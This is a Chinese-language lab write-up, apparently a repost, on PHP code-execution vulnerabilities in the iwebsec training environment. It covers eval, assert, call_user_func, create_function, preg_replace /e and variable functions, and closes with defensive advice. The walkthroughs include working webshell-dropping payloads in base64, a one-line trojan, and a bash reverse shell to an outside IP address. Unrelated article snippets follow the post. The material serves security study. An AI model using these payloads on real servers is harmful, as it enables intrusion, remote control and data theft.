代码执行漏洞 | iwebsec

news2024/11/19 17:19:13

文章目录

      • 00-代码执行漏洞原理
        • 环境
      • 01-eval函数示例
        • 命令执行
        • 写入webshell
        • bash反弹shell
      • 02-assert函数示例
        • webshell
      • 03-call_user_func函数示例
      • 04-call_user_func_array函数示例
        • 总结
      • 05-create_function函数示例
      • 06-array_map函数示例
        • 总结
      • 08-preg_replace漏洞函数示例
      • 07-preg_replace无漏洞函数示例
        • 总结
      • 09-可变函数漏洞示例01
      • 10-可变函数漏洞示例02
        • 疑问
      • 11-漏洞防御

00-代码执行漏洞原理

代码执行漏洞是指应用程序本身过滤不严,用户可以通过请求将代码注入到应用中执行。PHP代码执行漏洞可以把代码注入应用中最终到webserver去执行。这样的漏洞如果没有特殊的过滤,相当于一个web后门的存在。该漏洞主要由

eval()assert()preg_replace()call_user_func()call_user_func_array()array_map()

等函数的参数过滤不严格导致,另外还有PHP的动态函数$a($b)。【摘自《代码审计——企业级Web代码安全架构》】

命令执行漏洞与代码执行漏洞的区别:命令执行漏洞是可以直接调用操作系统命令,代码执行漏洞是靠执行脚本代码调用操作系统命令。

环境

该学习过程使用iwebsec环境。

在这里插入图片描述

01-eval函数示例

eval()函数原本的作用就是用来动态执行代码,所以它们的参数直接是PHP代码。主要源码如下,与一句话木马相似,印证了“相当于一个web后门的存在”:

<?php
	if(isset($_POST[1])){  //post方式接收一个参数
		@eval($_POST[1]);  //执行传入的参数
	}else{
		exit();
	}
?>

命令执行

在这里插入图片描述

执行脚本代码调用操作系统命令。

在这里插入图片描述

在这里插入图片描述

使用echo进行输出。

在这里插入图片描述

在这里插入图片描述
这个原理后面会用到:利用post传参,不能出现<>+=/等符号。

写入webshell

参考了这篇文章,php中代码执行&&命令执行函数。

在这里插入图片描述

fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));

用burpsuite的解码一下主要部分

在这里插入图片描述

解码

fputs(fopen(shell.php,w),<?php 
@$temp = $_FILES['upload_file']['tmp_name'];
@$file = basename($_FILES['upload_file']['name']);
if (empty ($file)){
echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";}else {echo "Unable to upload " . $file . ".<p>\n";}}?>)
  1. 写入上传马文件

在这里插入图片描述

  1. 写入成功

在这里插入图片描述

  1. 访问上传马

在这里插入图片描述

  1. 写入一句话木马

在这里插入图片描述

  1. 蚁剑连接

在这里插入图片描述

  1. 新写入的木马文件

在这里插入图片描述

我要自己构造一个写入木马的方法。

在这里插入图片描述

木马文件内容

在这里插入图片描述

木马文件名称

在这里插入图片描述

构造出来的语句

fputs(fopen(base64_decode(MjIucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUc2dQejQ9)));

注入点写入

在这里插入图片描述

蚁剑连接

在这里插入图片描述

成功了,很好

在这里插入图片描述

bash反弹shell

<?php system("bash -i >& /dev/tcp/8.134.148.36/2233 0>&1");  ?>

在这里插入图片描述

在这里插入图片描述

构造出语句

fputs(fopen(base64_decode(MzMucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdjM2x6ZEdWdEtDSmlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMemd1TVRNMExqRTBPQzR6Tmk4eU1qTXpJREErSmpFaUtUc2dJRDgr)));

监听端口

在这里插入图片描述

在这里插入图片描述

02-assert函数示例

assert()功能:判断一个表达式是否成立,返回true or false,重点是该函数会执行此表达式。与eval类似,字符串被 assert() 当做 PHP 代码来执行。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

webshell

利用上面的shell,木马文件名为22.php,密码为1

fputs(fopen(base64_decode(MjIucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUc2dQejQ9)));

注入

在这里插入图片描述

蚁剑连接

在这里插入图片描述

源代码

<?php
	if(isset($_POST[1])){
		@assert($_POST[1]);
	}else{
		exit();
	}
?>

03-call_user_func函数示例

在这里插入图片描述

什么是回调函数?

回调函数是指调用函数的时候将另一个函数作为参数传递到调用的函数中,而不是传递一个普通的变量作为参数。使用回调函数是为了可以将一段自己定义的功能传到函数内部使用。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

源代码

<?php
	if(isset($_POST['fun'])||isset($_POST['arg'])){
		//第一个参数是我们想要调用的函数名,第二个参数是调用函数的参数
		call_user_func($_POST['fun'], $_POST['arg']);  
	}else{
		exit();
	}
?>

04-call_user_func_array函数示例

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

<?php
	if(isset($_POST['fun'])||isset($_POST['arg'])){
		call_user_func_array($_POST['fun'], $_POST['arg']);
	}else{
		exit();
	}
?>

总结

call_user_func()、call_user_func_array()函数的功能是调用函数,多用在框架中动态调用函数,所以一般比较小的程序较少出现这种方式的代码执行。

05-create_function函数示例

在这里插入图片描述

在这里插入图片描述

<?php
	if(isset($_GET['id'])){
		$id = $_GET['id']; //通过get方式传参
		$code = 'echo '.$func.'test'.$id.';';  //$code是构建的函数里面的代码
		create_function('$func',$code);  //$func是构建的函数的参数
	}else{
		exit();
	}
?>

------------------------可以理解为------------------------
<?php
	if(isset($_GET['id'])){
		$id = $_GET['id']; 
		函数名('$func'){
			//$code
			echo $func.'test'.$id;
		}
	}else{
		exit();
	}
?>

------------------------输入 id=1;}phpinfo();/* ------------------------
<?php
	if(isset($_GET['id'])){
		$id = '1;}phpinfo();/*'; 
		//假设$func='111111',只是方便理解
		函数名('$func'){
			echo "111111"."test"."1;}phpinfo();/*";
		}
	}else{
		exit();
	}
?>

------------------------整理一下------------------------
<?php
	if(isset($_GET['id'])){
		$id = '1;}phpinfo();/*'; 
		函数名('$func'){
			//echo之后的结果 111111test1;}phpinfo();/*
			111111test1;
		}
		phpinfo();  //该函数内部有eval(),可以执行字符串.这可能需要深入理解一下create_function才行
		/*;   //这是多行注释符,意味着下面的代码会被注释掉
		}
	}else{
		exit();
	}
?>

在这里插入图片描述

在这里插入图片描述

这个有点难理解,可以一步一步整理一下。

在这里插入图片描述

06-array_map函数示例

在这里插入图片描述

array_map() 函数将用户自定义函数作用到数组中的每个值上(漏洞原理:为数组的每个元素应用回调函数),并返回用户自定义函数作用后的带有新的值的数组。

在这里插入图片描述

<?php
	if(isset($_GET['func'])||isset($_GET['argv'])){
		$func=$_GET['func'];   //自定义的函数名
		$argv=$_GET['argv'];    //可控制的参数
		$array[0]=$argv;
		array_map($func,$array);  //调用func的函数,传入array参数
	}else{
		exit();
	}
?>

在这里插入图片描述

在这里插入图片描述

总结

array_map()函数的作用是调用函数,并且除第一个参数外其他参数为数组,通常会写死第一个参数,即写死调用函数。

call_user_func()、call_user_func_array()、array_map()等函数有调用其他函数的功能,其中一个参数作为要调用的函数名,如果这个传入的参数名可控,那就可以调用意外的函数来执行我们想知道的代码,也就是存在代码执行漏洞。【摘自《代码审计——企业级Web代码安全架构》】

08-preg_replace漏洞函数示例

漏洞触发原理:第一个参数存在e标识符的话,第二个参数的值会被当做PHP代码来执行

在这里插入图片描述

源码

<?php
	if(isset($_GET["name"])){
	   $subject= 'hello hack';
	   $pattern = '/hack/e';  //漏洞点
	   $replacement = $_GET["name"];
	   echo preg_replace($pattern, $replacement, $subject);
	   //$subject能匹配$pattern,所以$replacement一定会被当做PHP代码执行
	}else{
		exit();
	}	
?>

利用

在这里插入图片描述

在这里插入图片描述

07-preg_replace无漏洞函数示例

<?php
	if(isset($_GET["name"])){
	   $subject= 'hello hack';
	   $pattern = '/hack/';
	   $replacement = $_GET["name"];
	   echo preg_replace($pattern, $replacement, $subject);
	}else{
		exit();
	}
?>

总结

preg_replace()函数的代码执行需要存在/e,这个函数原本是用来处理字符串的,因此漏洞出现最多的是在对字符串的处理,比如URL、HTML标签以及文章内容等过滤功能。【摘自《代码审计——企业级Web代码安全架构》】

09-可变函数漏洞示例01

什么是可变函数?

PHP支持变量函数:通过变量保存一个函数的名字,然后在变量后跟上一个小括号就能调用。

为什么要使用可变函数?

这种写法跟使用call_user_func的初衷一样,大多用在框架里,用来更简单更方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。

源码

<?php
	if(isset($_REQUEST['func'])){
		function func1() {
			echo "func1函数";
		}
		function func2($arg = '') {
			echo "func2函数";
		}
		$func = $_REQUEST['func'];  
		//它没有对输入的参数进行限定,意味着我们可以控制参数,写入非func1和func2的函数名
			echo $func();
	}else{
		exit();
	}
?>

利用

在这里插入图片描述

在这里插入图片描述

10-可变函数漏洞示例02

<?php
	if(isset($_REQUEST['func'])){
		function func1() {
			echo "func1函数";
		}
		function func2($arg = '') {
			echo "func2函数";
		}
		function func3($arg){
			echo "func3函数的参数是".$arg;
		}
		$func = $_REQUEST['func'];  //可控参数
		$arg = $_REQUEST['arg'];  //可控参数
		echo $func($arg);
	}else{
		exit();
	}
?>

利用

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

疑问

这是10-可变函数漏洞示例02

在这里插入图片描述

这是05-create_function函数示例

在这里插入图片描述

首先我们来测试一下下面的代码

<?php
		echo "phpinfo()";
		echo "\n-------------------------";
		echo eval("phpinfo();");
?>

结果如下,第一个echo只能输出字符串phpinfo(),而不能执行。第三个才能echophpinfo()执行的结果。

在这里插入图片描述

因为create_function()在内部执行了eval(),就像上面代码的第三个echo一样。

在这里插入图片描述

11-漏洞防御

  1. 对于必须使用eval的地方,一定严格处理用户数据(白名单、黑名单)。
  2. 字符串使用单引号包括起可控代码,插入前使用addslashes转义(addslashes、魔术引号、 htmlspecialchars、 htmlentities、mysql_real_escape_string)。
  3. 放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换
  4. 若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象(第二个参数使用单引号包裹)。

希望来到最后的看官们能点个赞~ 非常感谢~
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/388412.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Centos 部署Oracle 11g

Centos 部署Oracle 11g部署Oracle 11g准备工作服务器信息oracle安装包服务器准备oracle环境安装Oracle静默方式配置监听以静默方式建立新库及实例部署Oracle 11g 在SpringMVC模式下开发web项目&#xff0c;必然会使用到关系型数据库来存储数据&#xff0c;目前使用比较多的关系…

18、多维图形绘制

目录 一、三维图形绘制 &#xff08;一&#xff09;曲线图绘制plot3() &#xff08;二&#xff09;网格图绘制 mesh() &#xff08;三&#xff09;曲面图绘制 surf() &#xff08;四&#xff09;光照模型 surfl() &#xff08;五&#xff09;等值线图(等高线图)绘制 cont…

电力系统系统潮流分析【IEEE 57 节点】(Matlab代码实现)

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5;&#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密…

C语言函数:字符串函数及模拟实现strcmp()

C语言函数&#xff1a;字符串函数及模拟实现strcmp() strcmp()函数&#xff1a; 作用&#xff1a;进行字符串的比较大小。 引入&#xff1a;如下代码&#xff0c; #define _CRT_SECURE_NO_WARNINGS#include <stdio.h>int main() {char* p "wan";char* q &qu…

Spring MVC源码解析——HandlerMapping(处理器映射器)

Sping MVC 源码解析——HandlerMapping处理器映射器1. 什么是HandlerMapping2. HandlerMapping2.1 HandlerMapping初始化2.2 getHandler解析3. getHandlerInternal()子类实现3.1 AbstractUrlHandlerMapping与AbstractHandlerMethodMapping的区别3.2 AbstractUrlHandlerMapping3…

MySQL实战解析底层---全局锁和表锁:给表加个字段怎么有这么多阻碍

目录 前言 全局锁 表级锁 前言 数据库锁设计的初衷是处理并发问题作为多用户共享的资源&#xff0c;当出现并发访问的时候&#xff0c;数据库需要合理地控制资源的访问规则而锁就是用来实现这些访问规则的重要数据结构根据加锁的范围&#xff0c;MySQL 里面的锁大致可以分成…

js正则表达式以及元字符

0、常用的正则表达式规则 手机号 const reg /^1([38][0-9]|4[579]|5[0-3,5-9]|6[6]|7[0135678]|9[89])\d{8}$/;密码 const reg /^[a-zA-Z0-9]{6,20}$/;验证码 const reg /^\d{6}$/;1、正则表达式的介绍与使用 正则表达式(Regular Expression)是用于匹配字符串中字符组合…

RTOS中信号量的实现与应用

RTOS中的信号量是一种用来协调多个任务间共享资源访问的同步机制。它可以保证多个任务之间访问共享资源的正确性和一致性&#xff0c;避免了因多任务并发访问造成的不可预期的问题。 信号量的实现 信号量的实现原理比较简单&#xff0c;主要包括两个部分&#xff1a;计数器和…

12 readdir 函数

前言 在之前 ls 命令 中我们可以看到, ls 命令的执行也是依赖于 opendir, readdir, stat, lstat 等相关操作系统提供的相关系统调用来处理业务 因此 我们这里来进一步看一下 更细节的这些 系统调用 我们这里关注的是 readdir 这个函数, 入口系统调用是 getdents 如下调试…

HDMI协议介绍(六)--EDID

目录 什么是EDID EDID结构 1)Header Information 头信息(厂商信息、EDID 版本等) (2)Basic Display Parameters and Features 基本显示参数(数字/模拟接口、屏幕尺寸、格式支持等) (3)色度信息 (4)Established Timings(VESA 定义的电脑使用 Timings) (5)Standard Timing…

并发编程——synchronized优化原理

如果有兴趣了解更多相关内容&#xff0c;欢迎来我的个人网站看看&#xff1a;耶瞳空间 一&#xff1a;基本概念 使用synchronized实现线程同步&#xff0c;即加锁&#xff0c;实现的是悲观锁。加锁可以使一段代码在同一时间只有一个线程可以访问&#xff0c;在增加安全性的同…

Python基础知识——字符串、字典

字符串 在Python中&#xff0c;字符和字符串没有区别。可能有些同学学过其他的语言&#xff0c;例如Java&#xff0c;在Java中&#xff0c;单引号’a’表示字符’a’&#xff0c;双引号"abc"表示字符串"abc"&#xff0c;但在Python当中&#xff0c;它们没…

【百日百题-C语言-1】KY15、45、59、72、101、132

本节目录1、KY15 abc2、KY45 skew数3、KY59 神奇的口袋4、KY72 Digital Roots5、KY115 后缀子串排序6、KY132 xxx定律 3n1思想7、KY168 字符串内排序1、KY15 abc #include<stdio.h> int main() {int a,b,c;for(a1;a<9;a)for(b1;b<9;b)for(c0;c<9;c){int xa*100 …

【macOS软件】iThoughtsX 9.3 思维导图软件

原文来源于黑果魏叔官网&#xff0c;转载需注明出处。应用介绍iThoughtsX可以帮助您直观组织想法、主意和信息。亮点使用大部分常用桌面应用程序格式来进行导入导出MindManageriMindmapFreemind/FreeplaneNovamindXMindMindviewConceptDrawOPML (OmniOutliner, Scrivener etc.)…

CornerNet介绍

CornerNet: Detecting Objects as Paired Keypoints ECCV 2018 Paper&#xff1a;https://arxiv.org/pdf/1808.01244v2.pdf Code&#xff1a;GitHub - princeton-vl/CornerNet 摘要&#xff1a; 提出了一种single-stage的目标检测算法CornerNet&#xff0c;它把每个目标检…

Vector - CAPL - 获取相对时间函数

在自动化开发中&#xff0c;无论是CAN通信测试&#xff0c;还是网络管理测试&#xff0c;亦或是休眠唤醒等等存在时间相关的&#xff0c;都可能会使用相关的时间函数&#xff1b;今天主要介绍的就是获取当前时间&#xff0c;我们知道vector工具的最大优势就是稳定和精确度高&am…

Windows使用QEMU搭建arm64 ubuntu 环境

1. 下载 QEMU&#xff1a; https://qemu.weilnetz.de/w64/ QEMU UEFI固件文件&#xff1a; https://releases.linaro.org/components/kernel/uefi-linaro/latest/release/qemu64/QEMU_EFI.fd arm64 Ubuntu镜像&#xff1a; http://cdimage.ubuntu.com/releases/20.04.3/rel…

docker-compsoe启动nginx

本次采用的是nginx:1.20版本 下载命令 docker pull nginx:1.20docker-compose.yml version: 3 services: nginx:restart: always image: nginx:1.20container_name: nginx1.20ports:- 80:80volumes: - /home/nginx-docker/nginx.conf:/etc/nginx/nginx.conf- /home/nginx-do…

【mysql是怎样运行的】-InnoDB数据页结构

文章目录1. 数据库的存储结构&#xff1a;页1.1 磁盘与内存交互基本单位&#xff1a;页1.2 页结构概述1.3 页的上层结构2. 页的内部结构2.1 第1部分&#xff1a;文件头部和文件尾部2.1.1 File Header&#xff08;文件头部&#xff09;&#xff08;38字节&#xff09;2.1.2 File…

时序预测 | MATLAB实现IWOA-BiLSTM和BiLSTM时间序列预测(改进的鲸鱼算法优化双向长短期记忆神经网络)

时序预测 | MATLAB实现IWOA-BiLSTM和BiLSTM时间序列预测(改进的鲸鱼算法优化双向长短期记忆神经网络) 目录时序预测 | MATLAB实现IWOA-BiLSTM和BiLSTM时间序列预测(改进的鲸鱼算法优化双向长短期记忆神经网络)预测效果基本介绍程序设计参考资料预测效果 基本介绍 MATLAB实现IWO…